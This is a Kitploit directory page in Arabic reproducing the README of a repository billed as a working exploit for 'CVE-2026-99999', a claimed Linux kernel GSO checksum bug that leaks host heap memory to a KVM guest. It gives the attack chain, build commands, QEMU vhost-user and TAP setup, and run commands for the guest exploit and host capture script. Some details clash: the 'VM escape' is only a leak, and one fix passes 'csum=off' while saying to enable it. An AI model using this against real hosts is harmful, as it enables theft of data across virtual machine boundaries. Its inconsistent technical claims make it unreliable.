Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-99999-exploit — CVE-2026-99999 إثبات مفهوم عملي فعّال — هروب حقيقي من الآلة الافتراضية لثغرة csum_start في نواة Linux (CVSS 9.3). تسريب ذاكرة الكومة من الضيف إلى المضيف. انظر أيضًا: CVE-2026-99999-analysis (تعليمي). | Kitploit
أدوات/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
تحليل الثغرات الأمنيةالاستغلالجمع المعلوماتالمحاكاة الافتراضية للأمانالأوراق والأبحاثالهروب من الحاوية
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

CVE-2026-99999 إثبات مفهوم عملي فعّال — هروب حقيقي من الآلة الافتراضية لثغرة csum_start في نواة Linux (CVSS 9.3). تسريب ذاكرة الكومة من الضيف إلى المضيف. انظر أيضًا: CVE-2026-99999-analysis (تعليمي).

عرض المستودع
31منذ 16 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-99999 — مستودع استغلال PoC

⚠️ هذا مستودع استغلال فعّال. يحتوي على شيفرة استغلال حقيقية تُفعّل ثغرة CVE-2026-99999 في بيئة KVM/QEMU حيّة.

📚 للحصول على محاكاة آمنة ومحلية فقط لسلسلة الهجوم نفسها، راجع CVE-2026-99999-analysis (بدون صلاحيات root، بدون شبكة، Python خالص — رائع لفهم العلّة دون مختبر).

ملخّص الثغرة

CVE-2026-99999 — خطأ في التحقق من csum_start في مسار تقسيم GSO لنواة Linux الخاصة بـ IPv4. يمكن لجهاز VM ضيف تسريب ما يقارب 32–64 بايت من ذاكرة كومة نواة المضيف لكل جزء حزمة صادر.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

النوى المتأثرة: جميعها قبل commits الإصلاح:

  • 5.10.272+، 5.15.223+، 6.1.190+، 6.12.113+، 6.18.57+، 7.2.11+

نموذج المهاجم: شيفرة غير مميّزة داخل جهاز VM ضيف على KVM.


هيكل المستودع

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

سلسلة الهجوم

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

البناء

جانب الضيف

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

جانب المضيف

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

الاستخدام

الخيار أ: وضع vhost-user (موصى به)

يتطلب:

  • تشغيل QEMU مع -netdev vhost-user,...
  • ذاكرة الضيف مشتركة مع QEMU عبر memfd أو tmpfs
  • صلاحيات الجذر (root) داخل الضيف
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

الخيار ب: وضع تجاوز TAP

يتطلب:

  • جهاز TAP متصل بجسر المضيف
  • صلاحيات الجذر أو CAP_NET_RAW في الضيف
  • bridge-nf-call-iptables=1 على المضيف (لمسار GSO)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

ملاحظات تقنية

مشاركة الذاكرة في vhost-user

يتطلب الاستغلال أن يكون QEMU قادرًا على قراءة ذاكرة TX virtqueue الخاصة بالضيف. بدون ذاكرة مشتركة، لا يستطيع QEMU قراءة الواصفات — حيث تُدرَج الحزم في قائمة الانتظار لكنها لا تُرسَل أبدًا.

للاختبار، استخدم أحد الخيارات التالية:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

متطلبات مسار GSO

يتطلب مشغّل CVE أن تعالج نواة المضيف الإطار عبر مسار تقسيم GSO. يحدث ذلك عندما:

  • يكون في الإطار علم IP_MF (More Fragments) مضبوطًا — مما يفرض التجزئة
  • يكون تفريغ المجموع الاختباري (checksum offload) مفعّلًا على جهاز virtio-net
  • يكون الإطار أكبر من MTU (مما يفرض تقسيم GSO)

يضبط الاستغلال IP_MF في كل حزمة لضمان تقسيم GSO.

الاكتشاف

يكشف الكاشف على جانب المضيف (receive_and_dump.py) عن CVE-2026-99999 عبر:

  1. التقاط الحزم على واجهة الجسر
  2. اكتشاف بايتات IHL التالفة (version_ihl & 0x0F > 5)
  3. الإبلاغ عن البايتات الزائدة كتسريبات محتملة لذاكرة كومة النواة

الملفات

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

استكشاف الأخطاء وإصلاحها

"Cannot connect to vhost-user socket"

  • تأكد من أن QEMU يعمل مع vhost-user وأن المقبس موجود
  • تحقق: ls -la /tmp/vhost.sock

"Host does not support VIRTIO_NET_F_CSUM"

  • إعدادات QEMU/KVM لديك لا تحتوي على تفريغ المجموع الاختباري (checksum offload) مُفعّلًا
  • أضف إلى QEMU: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — فعّل، لا تعطّل

"Host does NOT support VIRTIO_NET_F_CSUM" (مخرجات الاستغلال)

  • لم يتفاوض خلفية vhost-user الخاصة بالمضيف على ميزة تفريغ المجموع الاختباري
  • هذا متوقع في بعض إعدادات QEMU
  • جرّب وضع تجاوز TAP بدلًا من ذلك

لم يتم اكتشاف أي حزم تالفة

  • تأكد من أن نواة المضيف غير مُرقّعة (قبل 5.10.272، 5.15.223، 6.1.190)
  • تحقق: uname -r
  • تأكد من تعيين علم IP_MF على الحزم الصادرة
  • جرّب تشغيل Wireshark على جسر المضيف لمراقبة الإطارات الخام

تم رفض الإذن

  • الضيف: يحتاج إلى root أو sudo
  • المضيف: يحتاج إلى root أو sudo لالتقاط الحزم وإعداد TAP

إخلاء المسؤولية

لـ البحث الأمني المصرّح به في بيئات مختبرية معزولة فقط. الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة